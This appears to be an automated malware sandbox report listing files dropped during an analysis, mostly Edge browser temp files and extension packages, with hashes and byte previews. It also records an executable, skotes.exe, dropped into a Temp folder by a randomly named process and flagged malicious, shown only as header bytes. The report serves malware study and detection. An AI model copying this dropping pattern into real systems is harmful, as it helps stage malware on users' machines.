Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\28e60fd9-4af2-4a47-b644-122a96ebabe9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 400 x 400, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1612548
Entropy (8bit):	7.994138742041092
Encrypted:	true
SSDEEP:	49152:7uuezhp/3/H4MAplSFjb0CftIoVQeLF9CODONvIUbbYEohU:7uZ3wMGlAjnNVQeLzCDRIE8U
MD5:	11E163FC56A23F409D303A8625149D94
SHA1:	A6F341080CF1C8A4E32D3C0D11287B03E5338862
SHA-256:	689B8E620E955D1F635E756B7574A3F5281A67E7C0D46D6FDE08EA5CC06825DF
SHA-512:	E0BA193BE697CFC631DD522D518C472F98C30C05726CB9742CA7731A4009203DE64A42C5411160617C06807D07E02C88B2B7457FEED69D59499BE35C3093C0C0
Malicious:	false
Preview:	.PNG........IHDR...................>iCCPICC Profile..H..W.XS...[.... .... "%...Z..E........vtQ......U.......(..XPP..]y....+.\|3..3.9s..2..O.$..T..\q.46$.9&9.I..(...P@...$......@.....@..UG..?..k...... .............K......\|....t.0@...q..W.q...Q...r n.@...I3...yf.?.jh.B.,.........N.@...-..@,.g.....7.AM./c.+.(j..<I.o.....]rsd.>.a.fJCc.k.y..=)\......". ...H.....d.B.....?..s.. v....!6.8X.......E.\...A......C.P......(.....K9l...'U...z .N`.._g..}L.03>.b.....H.5 v...W...D..He...-!...C...XA.48Ve_..7.^lc.......3.C...Z.<E.p-.e...0.#...1...00H.v.K(N.S.\|.......IN...7...ys.]...Ts..\|.!..x.$?:^.'^....V./........`M..@....4....`..R....Q...HR..a.......A......@.. .l.A.b.@1#.<.8....._..%.....@F...<X.0..X.....`.3l.D...G&}...D.$....v.!.{.......g....nOxJh'<"\'t.nO..I..r4....\......j.....T...n..qW..A.n...g.....V...P...(y..l..L.{..A.y...2..\|s.G~...!....l.-..cg...y......q..k.....z..]..b..dC..?..\Yy&.k....(..S..h..$.&.ed.3... dr.\|.aL.g.W.......M...~...................

C:\Users\user\AppData\Local\Temp\62004b9b-67f3-4cb6-99c1-66607a46763a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\9aa2c959-cffb-49a4-8095-5bcb51cd792d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 41900
Category:	dropped
Size (bytes):	76321
Entropy (8bit):	7.996057445951542
Encrypted:	true
SSDEEP:	1536:hS5Vvm808scZeEzFrSpzBUl4MZIGM/iys3BBrYunau6wpGzxue:GdS8scZNzFrMa4M+lK5/nXexue
MD5:	D7A1AC56ED4F4D17DD0524C88892C56D
SHA1:	4153CA1A9A4FD0F781ECD5BA9D2A1E68C760ECD4
SHA-256:	0A29576C4002D863B0C5AE7A0B36C0BBEB0FB9AFD16B008451D4142C07E1FF2B
SHA-512:	31503F2F6831070E887EA104296E17EE755BB6BBFB1EF2A15371534BFA2D3F0CD53862389625CF498754B071885A53E1A7F82A3546275DB1F4588E0E80BF7BEE
Malicious:	false
Preview:	...........m{..(.}...7.\...N.D.w..m..q....%XfL.I.ql..;/.....s...E...0....`..A..[o^.^Y...F_.'..."L...^.......Y..W..l...E0..YY...:.&.u?....J..U<.q."...p.ib:.g..^.q.mr.....^&.{.E.....,EAp.q.......=.=.....z^.,d.^..J.R..zI4..2b?.-D5/.^...+.G..Y..?5..k........i.,.T#........_DV....P..d2......b\..L....o....Z.}../....CU.$.-..D9`..~......=....._.2O..?....b.{...7IY.L..q....K....T..5m.d.s.4.^... ..~<..7~6OS..b...^>.......s..n....k."..G.....L...z.U...... ... .ZY...,...kU1..N...(..V.r\$..s...X.It...x.mr..W....g........9DQR....*d......;L.S.....G... .._D.{.=.zI.g.Y~...`T..p.yO..4......8$..v.J..I.%..._.d.[..du5._._...?\..8.c.....U...fy.t....q.t....T@.......:zu..\,.!.I..AN_.....FeX..h.c.i.W.......(.....Y..F...R%.\..@.. 2(e,&.76..F+...l.t.$..`...........Wi.{.U.&(.b}...}.i..,...k....!..%...&.c..D-."..SQ.......q9....)j....7.".N....AX...).d./giR....uk.....s.....^...........:...~......(hP..K.@.&..?.E0:+D\|9...U.q.cu..)t{.e...X...{.....z......LL&I6.=.

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\DocumentsAKKEGHJDHD.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3202560
Entropy (8bit):	6.65701070141192
Encrypted:	false
SSDEEP:	49152:kAvk17XSf4G5GWOZ5bHdCXAiCc5lxOA/aRfukSkRYZEz12czBXt:kGkWOZ5b9Cnz5bOA/aRWBkRY+5f
MD5:	AAB4852D22A50164C2F6402A82A446BD
SHA1:	AE7B85820FA5DCC0656780EB8C90B05B80770517
SHA-256:	A80388F0FE5C1C386D1F2A902C358954B49CFF23A770AA40FE3F9F9B19DE3FBB
SHA-512:	18450C1459AC183B178EC50BDF0C06C6D3F5BFA46237CE63039EFD7139A71EFEB1BCC5C2EECA20036B42958C29FDEE5F4AEBB51181CA7ED098FFDAA37B786C1E
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................0...........@.......................... 1.....601...@.................................W...k.............................0.............................t.0..................................................... . ............................@....rsrc...............................@....idata ............................@...ksryljpw.0......$.................@...jsxaufct......0.......0.............@....taggant.0....0.."....0.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\c81c9b95-66da-4b4f-92f6-76556c2d38ab.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2110
Entropy (8bit):	5.400359740786461
Encrypted:	false
SSDEEP:	48:Yzj57SnaJ57H57Uv5W1Sj5W175zuR5z+5zn071eDJk5c1903bj5jJp0gcU854RrA:8e2Fa116uCntc5toYu5X/z
MD5:	43396E9246106391E1092A5ADB09D37C
SHA1:	D7B0D2A7C5B134A92FD4A3EF652E8351B9669706
SHA-256:	1851D7AA70FC478E8B2D2608F492AE75315375BB403872B921FA032E2F47D0F1
SHA-512:	D5488FE38CBA38EAE76897B27646F8FF7394EEFBAF08323A9FB3AA8F70AB7C94EE355B97D8012138281312B2D3BE8F6AD276614F3BEF09F7F3AA7B8935D9C7E5
Malicious:	false
Preview:	{"logTime": "1004/133448", "correlationVector":"vYS73lRT+EoO2Owh9jsc+Y","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"n/KhuHPhHmYXokB31+JZz7","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"fclQx26bUZO07waFEDe6Fn","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"0757l0tkKt37vNrdCKAm8w","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"uTRRkmbbqkgK/wPBCS4fct","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"2DrXipL1ngF91RN7IemK0e","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"d0GyjEgnW85fvDIojHVIXI","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"PvfzGWRutB/kmuXUK+c8XA","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"29CB75FBC4C942E0817A1F7A0E2CF647

C:\Users\user\AppData\Local\Temp\d58818cd-d8c2-4ed9-af5a-9c03e3b84fae.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\e56d1eb7-7ae4-4e03-be0b-1e032c8c1219.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\scoped_dir7864_1671093424\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir7864_1671093424\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7864_1671093424\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7864_1671093424\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7864_1671093424\c81c9b95-66da-4b4f-92f6-76556c2d38ab.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\0d3eb779-666a-4e56-9fdd-400bcbe39d4d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
